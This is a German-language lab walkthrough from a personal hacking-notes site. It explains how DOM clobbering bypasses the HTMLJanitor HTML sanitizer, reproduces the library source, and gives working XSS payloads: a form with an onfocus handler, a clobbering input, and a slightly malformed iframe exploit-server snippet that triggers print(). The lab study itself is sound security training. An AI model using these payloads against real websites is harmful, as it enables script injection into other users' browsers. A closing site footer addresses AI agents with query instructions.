> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/html-filter-bypass-via-dom-clobbering.md).

# Umgehung des HTML-Filters via DOM-Clobbering

### DOM-Attribut-Clobbering zum Umgehen von HTML-Filtern

Nutze eine Schwachstelle in der **HTMLJanitor** Bibliothek (verwendet von `loadCommentsWithHtmlJanitor`) um die HTML-Filterung durch **DOM-Clobbering** und erzwinge `print()` die Ausführung im Browser des Opfers. Die automatische Ausführung kann die Nutzung des Exploit-Servers erfordern.

Die Seite verwendet **HTMLJanitor** um Benutzer-HTML zu bereinigen. Der Bereiniger:

<figure><img src="/files/a51e93fc6649ebde7287ef860ad15609f2d354f8" alt=""><figcaption></figcaption></figure>

* erstellt ein Sandbox-Dokument (`document.implementation.createHTMLDocument('')`) und fügt das zu bereinigende HTML ein;
* durchläuft den Baum mithilfe eines `TreeWalker` und wendet Filterregeln auf Knoten und Attribute an;
* löscht Kommentare und zerlegt einige nicht autorisierte Elemente, wobei Kindknoten erneut eingefügt werden, wenn das Tag abgelehnt wird;
* validiert Attribute gemäß `config.tags` Konfiguration und entfernt nicht autorisierte Attribute.

```javascript
(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
    define('html-janitor', factory);
  } else if (typeof exports === 'object') {
    module.exports = factory();
  } else {
    root.HTMLJanitor = factory();
  }
}(this, function () {

  /**
   * @param {Object} config.tags Wörterbuch der zulässigen Tags.
   * @param {boolean} config.keepNestedBlockElements Standardmäßig false.
   */
  function HTMLJanitor(config) {

    var tagDefinitions = config['tags'];
    var tags = Object.keys(tagDefinitions);

    var validConfigValues = tags
      .map(function(k) { return typeof tagDefinitions[k]; })
      .every(function(type) { return type === 'object' || type === 'boolean' || type === 'function'; });

    if(!validConfigValues) {
      throw new Error("Die Konfiguration war ungültig");
    }

    this.config = config;
  }

  var blockElementNames = ['P', 'LI', 'TD', 'TH', 'DIV', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'PRE'];
  function isBlockElement(node) {
    return blockElementNames.indexOf(node.nodeName) !== -1;
  }

  var inlineElementNames = ['A', 'B', 'STRONG', 'I', 'EM', 'SUB', 'SUP', 'U', 'STRIKE'];
  function isInlineElement(node) {
    return inlineElementNames.indexOf(node.nodeName) !== -1;
  }

  HTMLJanitor.prototype.clean = function (html) {
    const sandbox = document.implementation.createHTMLDocument('');
    const root = sandbox.createElement("div");
    root.innerHTML = html;

    this._sanitize(sandbox, root);

    return root.innerHTML;
  };

  HTMLJanitor.prototype._sanitize = function (document, parentNode) {
    var treeWalker = createTreeWalker(document, parentNode);
    var node = treeWalker.firstChild();

    if (!node) { return; }

    do {
      if (node.nodeType === Node.TEXT_NODE) {
        // Wenn dieser Textknoten nur Leerraum ist und das vorherige oder nächste Element
        // Geschwisterknoten ein Blockelement ist, entferne ihn
        // HINWEIS: Diese Heuristik könnte sich ändern. Sehr spezifisch für einen Fehler mit
        // `contenteditable` in Firefox: http://jsbin.com/EyuKase/1/edit?js,output
        // FIXME: zu einer Option machen?
        if (node.data.trim() === ''
            && ((node.previousElementSibling && isBlockElement(node.previousElementSibling))
                 || (node.nextElementSibling && isBlockElement(node.nextElementSibling)))) {
          parentNode.removeChild(node);
          this._sanitize(document, parentNode);
          break;
        } else {
          continue;
        }
      }

      // Alle Kommentare entfernen
      if (node.nodeType === Node.COMMENT_NODE) {
        parentNode.removeChild(node);
        this._sanitize(document, parentNode);
        break;
      }

      var isInline = isInlineElement(node);
      var containsBlockElement;
      if (isInline) {
        containsBlockElement = Array.prototype.some.call(node.childNodes, isBlockElement);
      }

      // Blockelemente sollten nicht verschachtelt werden (z. B. <li><p>...); wenn
      // sie es sind, wollen wir das innere Blockelement auflösen.
      var isNotTopContainer = !! parentNode.parentNode;
      var isNestedBlockElement =
            isBlockElement(parentNode) &&
            isBlockElement(node) &&
            isNotTopContainer;

      var nodeName = node.nodeName.toLowerCase();

      var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);

      var isInvalid = isInline && containsBlockElement;

      // Tag gemäß der Whitelist *und* wenn das Markup
      // ungültig ist.
      if (isInvalid || shouldRejectNode(node, allowedAttrs)
          || (!this.config.keepNestedBlockElements && isNestedBlockElement)) {
        // Den inneren Text von SCRIPT/STYLE-Elementen nicht beibehalten.
        if (! (node.nodeName === 'SCRIPT' || node.nodeName === 'STYLE')) {
          while (node.childNodes.length > 0) {
            parentNode.insertBefore(node.childNodes[0], node);
          }
        }
        parentNode.removeChild(node);

        this._sanitize(document, parentNode);
        break;
      }

      // Attribute bereinigen
      for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // Das Array verschieben, um die Schleife fortzusetzen.
          a = a - 1;
        }
      }

      // Kindknoten bereinigen
      this._sanitize(document, node);

    } while ((node = treeWalker.nextSibling()));
  };

  function createTreeWalker(document, node) {
    return document.createTreeWalker(node,
                                     NodeFilter.SHOW_TEXT | NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT,
                                     null, false);
  }

  function getAllowedAttrs(config, nodeName, node){
    if (typeof config.tags[nodeName] === 'function') {
      return config.tags[nodeName](node);
    } else {
      return config.tags[nodeName];
    }
  }

  function shouldRejectNode(node, allowedAttrs){
    if (typeof allowedAttrs === 'undefined') {
      return true;
    } else if (typeof allowedAttrs === 'boolean') {
      return !allowedAttrs;
    }

    return false;
  }

  function shouldRejectAttr(attr, allowedAttrs, node){
    var attrName = attr.name.toLowerCase();

    if (allowedAttrs === true){
      return false;
    } else if (typeof allowedAttrs[attrName] === 'function'){
      return !allowedAttrs[attrName](attr.value, node);
    } else if (typeof allowedAttrs[attrName] === 'undefined'){
      return true;
    } else if (allowedAttrs[attrName] === false) {
      return true;
    } else if (typeof allowedAttrs[attrName] === 'string') {
      return (allowedAttrs[attrName] !== attr.value);
    }

    return false;
  }

  return HTMLJanitor;

}));
```

* Prinzip: Ein HTML-Fragment einschleusen, das eine vom Seitenskript erwartete Element-ID erstellt oder überschreibt (z. B. ein `<form id="x" tabindex=0 onfocus=...>`). Durch Manipulation der Navigation (Hash `#x`) oder durch Erzwingen des Fokus wird das Ereignisattribut ausgelöst.

```html
<html>
<form id=x tabindex=0 onfocus=alert(0)>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/b2a2a38f8bba13db670fce213bcaadc3cb628793" alt=""><figcaption></figcaption></figure>

* Endvariante für das Ziel (`print()`):

```html
<html>
<form id=x tabindex=0 onfocus=print()>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/93886ec78246e785fc8de5d7191d64882db575b6" alt=""><figcaption></figcaption></figure>

* Automatische Auslösung über ein auf dem Exploit-Server gehostetes iframe: Das iframe lädt die verwundbare Seite und ändert dann sein `src` um hinzuzufügen `#x`, wodurch Fokus und Ausführung des `onfocus` Handlers ausgelöst werden. Beispiel für die Idee, den Exploit-Server zu verwenden:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a790035036b319583a1731200e90039.web-security-academy.net/post?postId=9 onload="setTimeout() => this.src += '#x',500;></iframe>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/dom/html-filter-bypass-via-dom-clobbering.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
